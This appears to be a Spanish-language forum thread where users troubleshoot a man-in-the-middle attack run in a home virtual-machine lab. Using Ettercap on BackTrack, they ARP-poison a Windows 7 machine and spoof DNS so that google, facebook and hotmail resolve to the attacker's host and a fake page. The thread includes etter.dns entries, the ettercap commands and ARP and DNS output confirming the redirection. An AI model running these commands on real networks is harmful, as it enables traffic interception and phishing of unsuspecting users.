Hola, esta es la primera vez que escribo para este magnífico foro, ya que estoy empezando con Backtrack y hasta el momento todo iba sobre ruedas, pero me he atascado. La cuestión es que tengo dos máquinas virtuales conectadas con adaptador puente a la misma red local e intento redireccionar Internet en el Win 7 desde Backtrack mediante Ettercap. Hago todos los pasos que vienen repetidos en miles de tutoriales, lo he intentado tanto en el terminal como en el modo gráfico, y nada. En la máquina de Win 7 hago un y sí que mi router y backtrack tienen ahora la misma MAC, por lo que el MiTM no falla. ¿Saben ustedes qué podría ser? Gracias de antemano.

Bueno, pues tengo un ordenador con dos máquinas virtuales (Virtual Box). Ambas están unidas a la misma red local, una red wifi casera, a través de mi ordenador Guest (Win 7). Bien, pues al lío:

Una máquina virtual tiene Bactrack y la otra Win 7, así que edito el archivo etter.dns y añado:
google.es              A  69.55.61.177
*.google.es           A  69.55.61.177
www.google.es    PTR 69.55.61.177
Guardo y ahora inicio ettercap desde el terminal.
Ahora supuestamente debería redireccionar el tráfico pero no lo hace, en la consola de backtrack me aparece que lo redirecciona, pero en realidad no lo hace, incluso a veces se me queda sin conexión.

PD: no, no obtengo ningún mensaje de error.

He probado el procedimiento solo funciona envenenado toda la red, pero con google parece imposible por ahora, he realizado la prueba con facebook y con hotmail y el DNS_SPOOF funciona perfectamente.

En mi caso
192.168.1.1  -->  Router
192.168.1.35 --> Bactrack
192.168.1.34 --> Victima (Win 7) (Pruebas con IExplorer 9 y Firefox 14

Extracto de etter.dns  -->

*.google.*                 A  192.168.1.35
*.facebook.*               A  192.168.1.35
*.hotmail.*                A  192.168.1.35
###############################################

Comienzo el ataque:

ettercap -T -q -P dns_spoof -M arp /192.168.1.1/ /192.168.1.34/

Consulto las tablas ARP en Win 7:
C:\Users\Tom>arp -a

Interfaz: 192.168.1.34 --- 0xb
  Dirección de Internet          Dirección física      Tipo
  192.168.1.1           08-00-27-1c-2d-bd     dinámico
  192.168.1.33          08-00-27-fd-7c-58     dinámico
  192.168.1.35          08-00-27-1c-2d-bd     dinámico

Vacio la cache de DNS en Win 7:
C:\Users\Tom>ipconfig /flushdns
     Configuración IP de Windows
     Se vació correctamente la caché de resolución de DNS.

Intento abric google,facebook y hotmail, no obteniendo los resultados esperados (DNSSPOOF),se siguen abriendo las páginas originales.

Si el envenenamiento lo realizo de la suiguiente manera:
ettercap -T -q -P dns_spoof -M arp // //

si funciona con facebook y con hotmail, pero curiosamente Google no es redireccionado hacia mi página falsa.

Si desde Windows analizo las resoluciones almacenadas hasta el momento,se observa que aunque la resolucion para google es la correcta (con mi etter.dns), la página no abre.
C:\Users\Tom>ipconfig /displaydns

    Configuración IP de Windows

    www.facebook.com
    ----------------------------------------
    Nombre de registro  . : www.facebook.com
    Tipo de registro  . . : 1
    Período de vida . . . : 3581
    Longitud de datos . . : 4
    Sección . . . . . . . : respuesta
    Un registro (host). . : 192.168.1.35


    www.hotmail.es
    ----------------------------------------
    Nombre de registro  . : www.hotmail.es
    Tipo de registro  . . : 1
    Período de vida . . . : 3590
    Longitud de datos . . : 4
    Sección . . . . . . . : respuesta
    Un registro (host). . : 192.168.1.35

    www.google.es
    ----------------------------------------
    Nombre de registro  . : www.google.es
    Tipo de registro  . . : 1
    Período de vida . . . : 3566
    Longitud de datos . . : 4
    Sección . . . . . . . : respuesta
    Un registro (host). . : 192.168.1.35

En ambos navegadores tengo como página de inicio predeterminada www.google.es, no se
si tiene algo que ver con el fallo del DNS_SPOOF.

yo configuro el etter.dns, primeramene localizado con un locate etter.dns,



despues hago un:

y todas las webs son spoofeadas de maravilla:p